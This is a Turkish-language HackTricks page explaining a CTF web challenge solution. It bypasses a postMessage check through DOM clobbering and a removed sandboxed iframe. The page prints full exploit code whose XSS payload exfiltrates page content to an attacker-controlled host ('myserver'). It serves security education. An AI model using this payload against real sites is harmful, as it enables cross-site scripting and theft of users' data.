hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
2024-04-06 19:40:41 +00:00

95 lines
6.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Bypassing SOP with Iframes - 2
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
</details>
## SOP-2'de Iframe'ler
Bu [**zorluk**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc) için [**çözümde**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) önceki bölümdeki benzer bir yöntem öneriyor. Hadi kontrol edelim.
Bu zorlukta saldırganın aşması gereken şey:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Eğer yaparsa, **innerHTML** ile temizlenmeden sayfaya yazılacak HTML içeriği ile birlikte bir **postmessage** gönderebilir ve böylece **XSS** saldırısı gerçekleştirebilir.
İlk kontrolü atlatmanın yolu, **window.calc.contentWindow**'u **undefined** ve **e.source**'u **null** yapmaktır:
* **window.calc.contentWindow** aslında **document.getElementById("calc")**'tır. **document.getElementById**'i ile değiştirebilirsiniz (Sanitizer API -[burada](https://wicg.github.io/sanitizer-api/#dom-clobbering)-, varsayılan durumunda DOM clobbering saldırılarına karşı koruma sağlamak için yapılandırılmamıştır).
* Bu nedenle, **document.getElementById("calc")**'i ile değiştirebilirsiniz. Böylece **window.calc** **undefined** olacaktır.
* Şimdi, **e.source**'un **undefined** veya **null** olması gerekmektedir (çünkü `==` yerine `===` kullanıldığından, **null == undefined** **True**'dır). Bunu elde etmek "kolaydır". Bir **iframe** oluşturup ondan bir **postMessage** gönderir ve hemen ardından iframe'i **kaldırırsanız**, **e.origin** **null** olacaktır. Aşağıdaki kodu kontrol edin:
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
**İkinci kontrolü** atlamak için **`token`** değerini `null` olarak göndermek ve **`window.token`** değerini **`undefined`** yapmak gerekmektedir:
* `token` değerini `null` olarak postMessage ile göndermek basittir.
* **`window.token`**, **`document.cookie`** kullanan **`getCookie`** fonksiyonunu çağırır. Unutmayın ki **`null`** kökenli sayfalarda **`document.cookie`**'ye erişim her zaman bir **hata** tetikler. Bu, **`window.token`**'ın **`undefined`** değerine sahip olmasını sağlar.
Son çözüm [**@terjanq**](https://twitter.com/terjanq) tarafından [**aşağıdaki**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) gibi olmuştur:
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
```
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
</details>